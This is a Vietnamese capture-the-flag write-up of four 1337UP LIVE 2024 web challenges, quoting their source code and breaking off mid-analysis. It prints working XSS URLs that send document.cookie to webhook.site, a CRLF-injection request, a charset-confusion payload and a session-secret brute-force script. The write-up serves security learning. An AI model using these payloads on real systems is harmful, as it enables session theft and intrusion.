# 1337UP LIVE CTF 2024 # SafeNotes 2.0 Ở riêng bài này ta sẽ chỉ chú ý đến 2 file này, vì 2 file này đóng vai trò khá quan trọng cho toàn bộ phần khai thác. <details> <summary>/view.html</summary> ```jinja {% extends "base.html" %} {% block content %} <h2>View Note</h2> <p>You can view stored notes here, securely!</p> <form id="view-note-form" action="{{ url_for('main.view_note') }}" class="note-form"> <div class="form-group"> <label for="note-id-input">Enter Note ID:</label> <input type="text" name="note_id" id="note-id-input" class="form-control" value="{{ note_id }}" /> </div> <div class="form-group"> <button type="button" class="btn btn-primary" id="fetch-note-button"> View Note </button> </div> </form> <div id="note-content-section" style="display: none" class="note-panel"> <h3>Note Content</h3> <div id="note-content" class="note-content"></div> </div> <!-- Remember to comment this out when not debugging!! --> <!-- <div id="debug-content-section" style="display:none;" class="note-panel"> <h3>Debug Information</h3> <div id="debug-content" class="note-content"></div> </div> --> <div class="flash-container"> <div id="flash-message" class="flash-message" style="display: none"></div> </div> <div> <p>Logged in as: <span id="username">{{ username }}</span></p> </div> <script> const csrf_token = "{{ csrf_token() }}"; const urlParams = new URLSearchParams(window.location.search); function fetchNoteById(noteId) { // Checking "includes" wasn't sufficient, we need to strip ../ *after* we URL decode const decodedNoteId = decodeURIComponent(noteId); const sanitizedNoteId = decodedNoteId.replace(/\.\.[\/\\]/g, ''); fetch("/api/notes/fetch/" + sanitizedNoteId, { method: "GET", headers: { "X-CSRFToken": csrf_token, }, }) .then((response) => response.json()) .then((data) => { if (data.content) { document.getElementById("note-content").innerHTML = DOMPurify.sanitize(data.content); document.getElementById("note-content-section").style.display = "block"; showFlashMessage("Note loaded successfully!", "success"); // We've seen suspicious activity on this endpoint, let's log some data for review logNoteAccess(sanitizedNoteId, data.content); } else if (data.error) { showFlashMessage("Error: " + data.error, "danger"); } else { showFlashMessage("Note doesn't exist.", "info"); } // Removed the data.debug section, it was vulnerable to XSS! }); } function logNoteAccess(noteId, content) { // Read the current username, maybe we need to ban them? const currentUsername = document.getElementById("username").innerText; const username = currentUsername || urlParams.get("name"); // Just in case, it seems like people can do anything with the client-side!! const sanitizedUsername = decodeURIComponent(username).replace(/\.\.[\/\\]/g, ''); fetch("/api/notes/log/" + sanitizedUsername, { method: "POST", headers: { "Content-Type": "application/json", "X-CSRFToken": csrf_token, }, body: JSON.stringify({ name: username, note_id: noteId, content: content }), }) .then(response => response.json()) .then(data => { // Does the log entry data look OK? document.getElementById("debug-content").outerHTML = JSON.stringify(data, null, 2) document.getElementById("debug-content-section").style.display = "block"; }) .catch(error => console.error("Logging failed:", error)); } function isValidUUID(noteId) { // Fixed regex so note ID must be specified as expected const uuidRegex = /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i; return uuidRegex.test(noteId); } function validateAndFetchNote(noteId) { if (noteId && isValidUUID(noteId.trim())) { history.pushState(null, "", "?note=" + noteId); fetchNoteById(noteId); } else { showFlashMessage( "Please enter a valid note ID, e.g. 12345678-abcd-1234-5678-abc123def456.", "danger" ); } } document .getElementById("fetch-note-button") .addEventListener("click", function () { const noteId = document .getElementById("note-id-input") .value.trim(); validateAndFetchNote(noteId); }); window.addEventListener("load", function () { const noteId = urlParams.get("note"); if (noteId) { document.getElementById("note-id-input").value = noteId; validateAndFetchNote(noteId); } }); </script> {% endblock %} ``` </details> <details> <summary>/view.py</summary> ```python import os from flask import Blueprint, render_template, redirect, url_for, request, flash, jsonify from flask_login import login_user, login_required, logout_user, current_user from urllib.parse import urlparse, urljoin from app import db from app.models import User, Note, LogEntry from app.forms import LoginForm, RegisterForm, NoteForm, ContactForm, ReportForm import logging import requests import threading import uuid main = Blueprint('main', __name__) logging.basicConfig(level=logging.INFO) logger = logging.getLogger(__name__) BASE_URL = os.getenv('BASE_URL', 'http://127.0.0.1') BOT_URL = os.getenv('BOT_URL', 'http://bot:8000') reporting_users = set() reporting_lock = threading.Lock() @main.route('/') def index(): # Change for remote infra deployment return render_template('home.html') @main.route('/home') def home(): return render_template('home.html') @main.route('/api/notes/fetch/<note_id>', methods=['GET']) def fetch(note_id): note = Note.query.get(note_id) if note: return jsonify({'content': note.content, 'note_id': note.id}) return jsonify({'error': 'Note not found'}), 404 @main.route('/api/notes/store', methods=['POST']) @login_required def store(): data = request.get_json() content = data.get('content') # Since we removed the dangerous "debug" field, bleach is no longer needed - DOMPurify should be enough note = Note.query.filter_by(user_id=current_user.id).first() if note: note.content = content else: note = Note(user_id=current_user.id, content=content) db.session.add(note) db.session.commit() return jsonify({'success': 'Note stored', 'note_id': note.id}) # Monitor for suspicious activity @main.route('/api/notes/log/<username>', methods=['POST']) def log_note_access(username): data = request.get_json() note_id = data.get('note_id') content = data.get('content') if not note_id or not username or not content: return jsonify({"error": "Missing data"}), 400 log_entry = LogEntry(note_id=note_id, username=username, content=content) db.session.add(log_entry) db.session.commit() return jsonify({"success": "Log entry created", "log_id": log_entry.id, "note_id": note_id}), 201 @main.route('/register', methods=['GET', 'POST']) def register(): form = RegisterForm() if form.validate_on_submit(): user = User.query.filter_by(username=form.username.data).first() if user: flash('Username already exists. Please choose a different one.', 'danger') else: user = User(username=form.username.data, password=form.password.data) db.session.add(user) db.session.commit() login_user(user) return redirect(url_for('main.home')) elif request.method == 'POST': flash('Registration Unsuccessful. Please check the errors and try again.', 'danger') return render_template('register.html', form=form) @main.route('/login', methods=['GET', 'POST']) def login(): form = LoginForm() if form.validate_on_submit(): user = User.query.filter_by(username=form.username.data).first() if user and user.password == form.password.data: login_user(user) return redirect(url_for('main.home')) else: flash('Login Unsuccessful. Please check username and password', 'danger') return render_template('login.html', form=form) @main.route('/create', methods=['GET', 'POST']) @login_required def create_note(): form = NoteForm() if form.validate_on_submit(): note = Note(user_id=current_user.id, content=form.content.data) db.session.merge(note) db.session.commit() return redirect(url_for('main.view_note', note=note.id)) return render_template('create.html', form=form) @main.route('/view', methods=['GET']) def view_note(): note_id = request.args.get('note') or '' username = current_user.username if current_user.is_authenticated else 'Anonymouse' return render_template('view.html', note_id=note_id, username=username) # People were exploiting an open redirect here, should be secure now! @main.route('/contact', methods=['GET', 'POST']) def contact(): form = ContactForm() if request.method == 'POST': if request.is_json: data = request.get_json() username = data.get('name') content = data.get('content') if not username or not content: return jsonify({"message": "Please provide both your name and message."}), 400 return jsonify({"message": f'Thank you for your message, {username}. We will be in touch!'}), 200 username = request.form.get('name') content = request.form.get('content') if not username or not content: flash('Please provide both your name and message.', 'danger') return redirect(url_for('main.contact')) return render_template('contact.html', form=form, msg=f'Thank you for your message, {username}. We will be in touch!') return render_template('contact.html', form=form, msg='Feel free to reach out to us using the form below. We would love to hear from you!') @main.route('/logout') @login_required def logout(): logout_user() return redirect(url_for('main.home')) def call_bot(note_url, user_id): try: response = requests.post(f"{BOT_URL}/visit/", json={"url": note_url}) if response.status_code == 200: logger.info('Bot visit succeeded') else: logger.error('Bot visit failed') finally: with reporting_lock: reporting_users.remove(user_id) @main.route('/report', methods=['GET', 'POST']) @login_required def report(): form = ReportForm() if form.validate_on_submit(): note_url = form.note_url.data parsed_url = urlparse(note_url) base_url_parsed = urlparse(BASE_URL) if not parsed_url.scheme.startswith('http'): flash('URL must begin with http(s)://', 'danger') elif parsed_url.netloc == base_url_parsed.netloc and parsed_url.path == '/view' and 'note=' in parsed_url.query: note_id = parsed_url.query[-36:] try: if uuid.UUID(note_id): with reporting_lock: if current_user.id in reporting_users: flash( 'You already have a report in progress. Please respect our moderation capabilities.', 'danger') else: reporting_users.add(current_user.id) threading.Thread(target=call_bot, args=( note_url, current_user.id)).start() flash('Note reported successfully', 'success') except ValueError: flash( 'Invalid note ID! Example format: 12345678-abcd-1234-5678-abc123def456', 'danger') else: logger.warning(f"Invalid URL provided: {note_url}") flash('Please provide a valid note URL, e.g. ' + BASE_URL + '/view?note=12345678-abcd-1234-5678-abc123def456', 'danger') return redirect(url_for('main.report')) return render_template('report.html', form=form) ``` </details> Ngay khi đăng nhập vào trang web, mình sử dụng chức năng tạo note và chèn html tags vào, thì mình nhận thấy browser có thể render được cả các html tags mình đặt trong note. ![image](https://hackmd.io/_uploads/H1yS7m-r1x.png) Có vẻ như ở chức năng này, mình có thể khai thác xss và gửi flag về webhook server. Mình sẽ thử sử dụng payload sau để gửi cookie về server: ``` <img src=# onrerror=document.location="https://webhook.site/140d0310-cbee-4588-a6e3-e22c95137fdc".concat(document.cookie) /> ``` ![image](https://hackmd.io/_uploads/S1M1NQZBJg.png) ![image](https://hackmd.io/_uploads/BJ_xN7-rJe.png) Có vẻ như Dompurify đã lọc đi onerror của thẻ img. Thế nhưng, ngay khi mình kiểm tra xem img có chứa đường dẫn tới webhook không, thì mình nhận thấy rằng có một thẻ html chứa các debug data. ```html <!-- Remember to comment this out when not debugging!! --> <!-- <div id="debug-content-section" style="display:none;" class="note-panel"> <h3>Debug Information</h3> <div id="debug-content" class="note-content"></div> </div> --> ``` Lục file để tìm đoạn code dùng để fetch đoạn log về, mình tìm được đoạn code sau: ```javascript= function logNoteAccess(noteId, content) { // Read the current username, maybe we need to ban them? const currentUsername = document.getElementById("username").innerText; const username = currentUsername || urlParams.get("name"); // Just in case, it seems like people can do anything with the client-side!! const sanitizedUsername = decodeURIComponent(username).replace(/\.\.[\/\\]/g, ''); fetch("/api/notes/log/" + sanitizedUsername, { method: "POST", headers: { "Content-Type": "application/json", "X-CSRFToken": csrf_token, }, body: JSON.stringify({ name: username, note_id: noteId, content: content }), }) .then(response => response.json()) .then(data => { // Does the log entry data look OK? document.getElementById("debug-content").outerHTML = JSON.stringify(data, null, 2) document.getElementById("debug-content-section").style.display = "block"; }) .catch(error => console.error("Logging failed:", error)); } ``` Có vẻ như khi đoạn log được fetch về, nó sẽ đẩy data vào thẻ có id là debug-content. Với kĩ thuật DOM Clobbering, mình có thể đưa các data vào các thẻ có id "debug content" trên note và xem chúng. ![image](https://hackmd.io/_uploads/ryRMEXWrye.png) Một điều thú vị ở đây là, trong đoạn code này, các data fetch được sẽ không thông qua DomPurify để lọc xss, vậy nên mình sẽ cố gắng dùng khả năng debug này để trả về một thẻ img có onerror. Trong phần view.py, tác giả có gợi ý một chút ở phần contact, đó là khai thác lỗ hổng [Open Redirect](https://www.invicti.com/blog/web-security/open-redirect-vulnerabilities-invicti-pauls-security-weekly/). ```python # People were exploiting an open redirect here, should be secure now! @main.route('/contact', methods=['GET', 'POST']) def contact(): form = ContactForm() if request.method == 'POST': if request.is_json: data = request.get_json() username = data.get('name') content = data.get('content') if not username or not content: return jsonify({"message": "Please provide both your name and message."}), 400 return jsonify({"message": f'Thank you for your message, {username}. We will be in touch!'}), 200 username = request.form.get('name') content = request.form.get('content') if not username or not content: flash('Please provide both your name and message.', 'danger') return redirect(url_for('main.contact')) return render_template('contact.html', form=form, msg=f'Thank you for your message, {username}. We will be in touch!') return render_template('contact.html', form=form, msg='Feel free to reach out to us using the form below. We would love to hear from you!') ``` Ngoài ra, ở biến name của đoạn code javascript dùng để fetch các data debug, mình thấy rằng mình có thể thay đổi được cả url fetch bằng nhờ phần gợi ý: ```javascript // Just in case, it seems like people can do anything with the client-side!! const sanitizedUsername = decodeURIComponent(username).replace(/\.\.[\/\\]/g, ''); ``` ![image](https://hackmd.io/_uploads/B1PHn9bHJg.png) Trước đó, đặt một thẻ có id "username" ở trong note để đưa param "name" ưu tiên. ``` const currentUsername = document.getElementById("username").innerText; const username = currentUsername || urlParams.get("name"); ``` Mình có thể fetch endpoint /contact bằng cách đưa "....//....//....//contact" vào param "name" trong hàm logNoteAccess để url từ **"http://localhost/api/v1/log/"** thành "**http://localhost/contact**" (đây là "../../../contact" nhưng được thay đổi để bypass **sanitizedNoteId**). Từ đây ta chỉ cần thêm một param chứa thẻ img là có thể bypass thành công. Đây là payload sử dụng cho phần ``` http://127.0.0.1/view?note=b0b840e7-05ff-4e62-91c8-2bf47dc47ec0&name=....//....//....//contact%3Fflag%3D%3Cimg%20src%3D%23%20onerror%3Dfetch%28%27https%3A%2F%2Fwebhook.site%2F411c056a-2c75-4478-8efc-117b3d79418b%2F%3Fflag%27%2Bdocument.cookie%29%3E ``` ![image](https://hackmd.io/_uploads/BJ2k7jZBkl.png) Tuy nhiên có một vấn đề nhỏ, đó là thẻ img không hề được render trên máy bot, vì vậy ta cần tìm cách để con bot có thể render được thẻ img bằng cách sử dụng hàm report, nhờ có dòng này trong hàm report ở file views.py: ```python threading.Thread(target=call_bot, args=(note_url,current_user.id)).start() ``` Đồng thời đổi param note xuống sau url, vì tác giả lấy note_id với 36 kí tự cuối: ```python elif parsed_url.netloc == base_url_parsed.netloc and parsed_url.path == '/view' and 'note=' in parsed_url.query: note_id = parsed_url.query[-36:] ``` Cuối cùng, ta sẽ được payload cuối cùng đó là: ``` http://127.0.0.1/view?name=....//....//....//contact%3Fflag%3D%3Cimg%20src%3D%23%20onerror%3Dfetch%28%27https%3A%2F%2Fwebhook.site%2F411c056a-2c75-4478-8efc-117b3d79418b%2F%3Fflag%27%2Bdocument.cookie%29%3E&note=b0b840e7-05ff-4e62-91c8-2bf47dc47ec0 ``` ![image](https://hackmd.io/_uploads/BkQgro-Hke.png) > flag: INTIGRITI{plz_solve_locally_first_THEN_repeat_on_remote_server} # Greetings <details> <summary>index.php</summary> ```php= <?php if(isset($_POST['hello'])) { session_start(); $_SESSION = $_POST; if(!empty($_SESSION['name'])) { $name = $_SESSION['name']; $protocol = (isset($_SESSION['protocol']) && !preg_match('/http|file/i', $_SESSION['protocol'])) ? $_SESSION['protocol'] : null; $options = (isset($_SESSION['options']) && !preg_match('/http|file|\\\/i', $_SESSION['options'])) ? $_SESSION['options'] : null; try { if(isset($options) && isset($protocol)) { $context = stream_context_create(json_decode($options, true)); $resp = @fopen("$protocol://127.0.0.1:3000/$name", 'r', false, $context); } else { $resp = @fopen("http://127.0.0.1:3000/$name", 'r', false); } if($resp) { $content = stream_get_contents($resp); echo "<div class='greeting-output'>" . htmlspecialchars($content) . "</div>"; fclose($resp); } else { throw new Exception("Unable to connect to the service."); } } catch (Exception $e) { error_log("Error: " . $e->getMessage()); echo "<div class='greeting-output error'>Something went wrong!</div>"; } } } ?> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Greetings</title> <link href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet"> <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@600&family=Roboto&display=swap" rel="stylesheet"> <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css" rel="stylesheet"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/animate.css/4.1.1/animate.min.css"> <link rel="stylesheet" href="styles.css"> </head> <body> <div class="container text-center mt-5 animate__animated animate__fadeInDown"> <h1 class="title">Welcome to the <span class="highlight">Greetings</span> App</h1> <img src="logo.png" alt="Greetings Logo" class="logo"> <form method="POST" class="mt-4"> <input class="form-control input-field mb-3" name="name" placeholder="Enter your name" /> <button class="btn btn-primary submit-btn" type="submit" name="hello"> Say Hello <i class="fas fa-smile"></i> </button> </form> </div> <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.1/dist/umd/popper.min.js"></script> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script> </body> </html> ``` </details> Ở bài này, ta thấy rằng các untrusted data thường sẽ được đưa vào hàm fopen(), ta sẽ tập trung khai thác vào nó. Ở trong file docker này, ta biết được rằng flask là một service không thể kết nối trực tiếp qua port 5000. <details> <summary>docker-compose.yml</summary> ```dockerfile= services: web: build: ./php ports: - "80:80" - "3000" - "5000" restart: always node: build: ./node restart: always network_mode: service:web flask: build: ./flask environment: FLAG: INTIGRITI{fake_flag} restart: always network_mode: service:web ``` </details> ![image](https://hackmd.io/_uploads/BkQJBQzB1g.png) Hàm fopen trong php là một hàm dùng để mở một file hoặc là một kết nối từ xa. Từ hàm này, ta có thể mở một kết nối tới /flag, với 2 webservice nằm chung một mạng lưới docker. Tuy nhiên, vì đoạn code đã chặn đi giao thức **http**, vì vậy ta dùng một giao thức khác để mở một kết nối tới /flag. ![image](https://hackmd.io/_uploads/SJC3dQGHyx.png) ![image](https://hackmd.io/_uploads/SJ66_XzSyl.png) Mình sẽ sử dụng giao thức ftp để kết nối tới /flag ![image](https://hackmd.io/_uploads/H12x97GS1x.png) Ok, vậy là mình đã kết nối thành công tới /flag. Tuy nhiên, /flag yêu cầu mình truyền header Passwordvà username "admin". Vì vậy, ta sẽ dùng [CRLF Injection](https://www.acunetix.com/websitesecurity/crlf-injection/) để truyền raw request chứa header và body. ``` name=flag%20HTTP%2F1.1%0APassword%3A%20admin%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0AContent-Length%3A%2014%0A%0Ausername%3Dadmin&hello=&protocol=ftp&options={"ftp":{"proxy":"127.0.0.1:5000"}} ``` ![image](https://hackmd.io/_uploads/SJZ9hmMHye.png) > flag: INTIGRITI{fake_flag} # Sushi Search Ở bài này, ta thấy rằng đây là một bài đặc trưng của xss khi có một con bot có thể mở được browser và flag nằm ở trong cookie. Thế nhưng tất cả input data đã được thông qua DomPurify duyệt lại, nên chúng ta sẽ không thể xss một cách thông thường. Lúc này, mình để ý rằng ở đoạn response của web thiếu charset, đồng thời tác giả cũng gợi ý chúng ta về bài viết cũng khá liên quan về chủ đề này, nên mình sẽ cố gắng khai thác vào nó. Dưới đây là bài viết mà tác giả đã gợi ý. https://www.sonarsource.com/blog/encoding-differentials-why-charset-matters/ Theo như mình tìm hiểu, khi một trang web không hề trả về charset, thì chính browser đó sẽ tự đoán charset để trả về. Ở đây ta thấy rằng trên icon navbar, đây là một icon sushi, thế nhưng khi render trang web, browser sẽ cố gắng đoán character encode của trang web dẫn tới bị lỗi icon. ![image](https://hackmd.io/_uploads/S1BQnx7BJe.png) ![image](https://hackmd.io/_uploads/rk-L3gmS1g.png) Tuy nhiên có một loại charater encode có khả năng chuyển đổi nhiều charset đó là **ISO-2022-JP**. Dưới đây là 2 kĩ thuật sử dụng ISO-2022-JP để có thể áp dụng vào xss: ![GSiWZJVWcAA9rwC](https://hackmd.io/_uploads/Hk5aAeQSke.jpg) Theo như bài viết, ta hiểu rằng trong bộ mã ASCII, 0x5c sẽ mapping tới dấu \, tuy nhiên ở bộ mã ISO-2022-JP, 0x5c sẽ mapping tới đồng yên (**¥**), điều này dẫn tới việc khi ta đặt `<p id="><img src=# onerror=alert(1) />" ></p>` nó sẽ chuyển thành `<p id=¥"><img src=x onerror=alert(1) />¥"></p>`. ![image](https://hackmd.io/_uploads/B1bFB-Xrke.png) Okay vậy lúc này ta chỉ cần tìm cách đưa browser encode về ISO-2022-JP là có thể XSS thành công. Để làm được được điều đó, mình sẽ cố gắng spam thật nhiều ISO-2022-JP esc để có thể khiến browser chuyển charset nhờ cơ chế boost của [chromium](https://github.com/google/compact_enc_det/blob/d127078cedef9c6642cbe592dacdd2292b50bb19/compact_enc_det/compact_enc_det.cc#L2811) (Từ cơ chế boost này, các charset nào có value cao nhất sẽ được sử dụng cho web) ``` http://127.0.0.1/search?search=<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="><img src=x onerror=alert(1)>"></p> ``` Từ đây, ta có thể gọi bot ở hàm report, fetch về webhook và nhận flag. ``` http://127.0.0.1/search?search=<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="%1B$@"></p>%1B(B<p id="><img src=x onerror=fetch('https://webhook.site/5aa15927-cbfb-429b-9e19-0187f5b34498?flag='.concat(document.cookie))>"></p> ``` ![image](https://hackmd.io/_uploads/rytNCbmBkl.png) > flag: INTIGRITI{fake_flag} # Global Backups Review sơ lược đoạn code. <details> <summary>Docker file (app)</summary> ```dockerfile= FROM oven/bun:1.1.8 RUN apt-get update && apt-get install -y openssh-client curl gcc WORKDIR /app RUN adduser -u 1337 --disabled-password --gecos '' user COPY package.json bun.lockb ./ RUN bun install COPY src ./src COPY views ./views COPY public ./public RUN mkdir /tmp/files && chown user /tmp/files WORKDIR /home/user/.ssh RUN ssh-keygen -t ed25519 -f id_ed25519 -N '' RUN echo 'StrictHostKeyChecking=accept-new' > config RUN chown -R user:user . COPY flag.txt readflag.c / RUN gcc /readflag.c -o /readflag RUN chmod 400 /flag.txt && chmod +s /readflag WORKDIR /app COPY entrypoint.sh / RUN chmod +x /entrypoint.sh USER user ENV NODE_ENV=production ENTRYPOINT [ "/entrypoint.sh" ] CMD [ "bun", "run", "src/index.ts" ] ``` </details> <details> <summary>Docker file (backup)</summary> ```dockerfile= FROM alpine:latest RUN apk add --no-cache openssh WORKDIR /home/admin RUN mkdir /var/run/sshd RUN adduser -u 1337 -D admin && passwd -u admin RUN mkdir .ssh && chown admin:admin .ssh RUN mkdir files && chown admin:admin files RUN ssh-keygen -A RUN echo "PasswordAuthentication no" >> /etc/ssh/sshd_config COPY entrypoint.sh /entrypoint.sh RUN chmod +x /entrypoint.sh EXPOSE 22 ENTRYPOINT [ "/entrypoint.sh" ] CMD [ "/usr/sbin/sshd", "-D" ] ``` </details> Trước hết ở phần file docker, ta thấy rằng flag sẽ được đọc bằng file readflag.c và ta sẽ không có quyền truy cập vào file flag bằng cách thông thường. Tiếp theo ta có một backup service dùng như một ssh server để ta copy file vào. <details> <summary>index.ts</summary> ```typescript= import express from "express"; import session from "express-session"; import fileUpload from "express-fileupload"; import FileStore_ from "session-file-store"; import { readdir, unlink, stat } from "fs/promises"; import path from "path"; import routes from "./routes"; const PORT = 8000; const app = express(); app.use(express.urlencoded({ extended: true })); app.use(express.static("public", { maxAge: 1000 * 60 * 60 })); app.use(fileUpload()); app.set("view engine", "ejs"); const FileStore = FileStore_(session); app.use( session({ store: new FileStore({ path: "/tmp/sessions", ttl: 60, reapInterval: 60, }), secret: Bun.env.SECRET, resave: true, saveUninitialized: true, }) ); declare module "bun" { interface Env { SECRET: string; ADMIN_PASSWORD: string; } } declare module "express-session" { interface SessionData { username: string; flash: Array<string>; } } declare global { namespace Express { interface Request { flash(message: string): void; } } } app.use((req, res, next) => { // Flash messages req.flash = function (message: string) { if (!req.session?.flash) req.session.flash = []; req.session.flash?.push(message); }; const render = res.render; res.render = function (...args) { if (req.session) { res.locals.flash = req.session.flash || []; req.session.flash = []; } else { res.locals.flash = []; } // @ts-ignore: Target allows only 2 element(s) but source may have more render.apply(res, args); }; next(); }); setInterval(async () => { // Clean up old files (last accessed more than 5 minutes ago) for (const file of await readdir("/tmp/files", { recursive: true, withFileTypes: true })) { if (file.isFile()) { const fullPath = path.join("/tmp/files", file.name); if ((await stat(fullPath)).atimeMs < Date.now() - 5 * 60 * 1000) { await unlink(fullPath); console.log(`Purged ${fullPath}`); } } } }, 60 * 1000); app.use("/", routes); app.listen(PORT, function () { console.log(`Listening at http://localhost:${PORT}`); }); ``` </details> <details> <summary>entrypoint.sh</summary> ```bash= #!/bin/bash set -e export SECRET=$RANDOM echo "$SSH_PRIVATE_B64" | base64 -d > /home/user/.ssh/id_ed25519 echo "$SSH_PUBLIC" > /home/user/.ssh/id_ed25519.pub bun run src/index.ts & while ! curl -s 'http://localhost:8000' -o /dev/null; do sleep 1; done for i in {1..5}; do curl -sL 'http://localhost:8000/login' -H 'Content-Type: application/x-www-form-urlencoded' -d "username=admin&password=$ADMIN_PASSWORD" -o /dev/null done kill %1 exec "$@" ``` </details> Trong file index.js, đây là setup việc tạo và lưu các session. Một điều đáng chú ý là đoạn key của session được tạo bằng biến $SECRET trong bash, nó chỉ có giá trị từ 0 -> 32768, điều này giúp ta có thể bruteforce được secret key của node session key theo như công thức trong tài liệu của [node cookie signature](https://github.com/tj/node-cookie-signature/blob/master/index.js#L16-L24). ```python= import requests from urllib.parse import unquote from base64 import b64decode, b64encode from hashlib import sha256 import hmac s = requests.Session() def sign(val, secret): hmac_digest = hmac.new(secret.encode(), val.encode(), sha256).digest() signature = b64encode(hmac_digest).decode().rstrip("=") return f"{val}.{signature}" def brute_force_key(session_id, expected_signature): for key in range(32768): secret_key = str(key) signed_value = sign(session_id, secret_key) _, generated_signature = signed_value.rsplit('.', 1) if generated_signature == expected_signature: return secret_key return None cookie = unquote(cookie).lstrip("s:") session_id, expected_signature = cookie.split(".", 1) secret_key = brute_force_key(session_id, expected_signature) print("Successfully cracked the secret key!") print("Found secret key: "+secret_key) ``` <details> <summary>routes.ts</summary> ```typescript= import { $ } from "bun"; import { readdir, mkdir, unlink } from "fs/promises"; import express, { type NextFunction, type Request, type Response } from "express"; import "express-async-errors"; import path from "path"; import { getUser } from "./db"; import { sanitize, sizeToString, timeAgo } from "./utils"; import { stat } from "fs/promises"; const router = express.Router(); router.get("/", function (req: Request, res: Response) { res.render("index", { username: req.session.username }); }); // Auth router.get("/login", function (req: Request, res: Response) { res.render("login"); }); router.post("/login", async function (req: Request, res: Response) { let { username, password } = req.body; if (typeof username !== "string" || typeof password !== "string") { res.type("txt"); res.status(400).send("Invalid parameters!"); return; } username = sanitize(username); const user = await getUser(username); if (user && (await Bun.password.verify(password, user.password))) { console.log(`User '${username}' logged in`); req.session.username = username; req.session.cookie.maxAge = 9999999999999; // Keep logged-in sessions alive req.flash("Successfully logged in!"); res.redirect("/files"); } else { await $`echo ${username} failed to log in >> /tmp/auth.log`; req.flash("Invalid username or password!"); res.redirect("/login"); } }); router.use((req, res, next) => { // Auth middleware if (req.session.username) { req.session.username = sanitize(req.session.username); if (/[-\/]/.test(req.session.username)) { res.type("txt"); res.status(400).send("Invalid username!"); return; } next(); } else { req.flash("You need to be logged in to access this page!"); res.redirect("/login"); } }); router.get("/logout", function (req: Request, res: Response) { delete req.session.username; req.session.cookie.maxAge = 0; req.flash("Successfully logged out!"); res.redirect("/"); }); // Files router.get("/files", async function (req: Request, res: Response) { const dir = `/tmp/files/${req.session.username}`; try { await mkdir(dir); } catch {} const filenames = await readdir(dir); const files = await Promise.all( filenames.map(async (file) => { const stats = await stat(path.join(dir, file)); const size = sizeToString(stats.size); const accessed = timeAgo(stats.atime); return { name: file, size: size, accessed }; }) ); res.render("files", { files }); }); router.get("/file/:name", function (req: Request, res: Response) { let { name } = req.params; name = sanitize(name); res.download(`/tmp/files/${req.session.username}/${name}`); }); router.post("/upload", async function (req: Request, res: Response) { const file = req.files?.file; if (!file || Array.isArray(file)) { res.type("txt"); res.status(400).send("Invalid parameters!"); return; } file.name = sanitize(file.name); await file.mv(`/tmp/files/${req.session.username}/${file.name}`); req.flash("File uploaded!"); res.redirect("/files"); }); router.post("/delete/:name", async function (req: Request, res: Response) { let { name } = req.params; name = sanitize(name); await unlink(`/tmp/files/${req.session.username}/${name}`); req.flash("File deleted!"); res.redirect("/files"); }); // Backup router.post("/backup", async function (req: Request, res: Response) { const cwd = `/tmp/files/${req.session.username}`; const tar = (await $`echo $(mktemp -d)/backup.tar.gz`.text()).trim(); await $`tar -czf ${tar} .`.cwd(cwd); await $`scp ${tar} ${req.session.username}@backup:`.cwd(cwd); req.flash("Files backed up!"); res.redirect("/files"); }); router.post("/restore", async function (req: Request, res: Response) { const cwd = `/tmp/files/${req.session.username}`; const tar = "backup.tar.gz"; await $`scp ${req.session.username}@backup:${tar} .`.cwd(cwd); await $`tar -xzf ${tar} && rm ${tar}`.cwd(cwd); req.flash("Files restored!"); res.redirect("/files"); }); router.use((err: Error, req: Request, res: Response, next: NextFunction) => { err.stack = ""; console.error(err); res.type("txt"); res.status(500).send(`${err.name}: ${err.message}`); }); export default router; ``` </details> Trong đoạn code của route.ts, ta sẽ thấy rằng ở hàm login dùng Bun shell để lưu lại username vào log. Tuy nhiên ở hàm sanitize, ta thấy rằng nó lọc tất cả các kí tự đặc biệt, ngoại trừ dấu `*` (Dấu `*` là một wildcard có thể match tới tất cả file trong directory). Ngoài ra mình nhận thấy rằng khi đăng nhập và nhập dấu `*`, nó sẽ trả về code 302 mặc dù mình nhận notification là **invalid username or password**. Và nếu ta something*, bun shell sẽ bị lỗi và trả về 500, đơn giản là vì một file gì 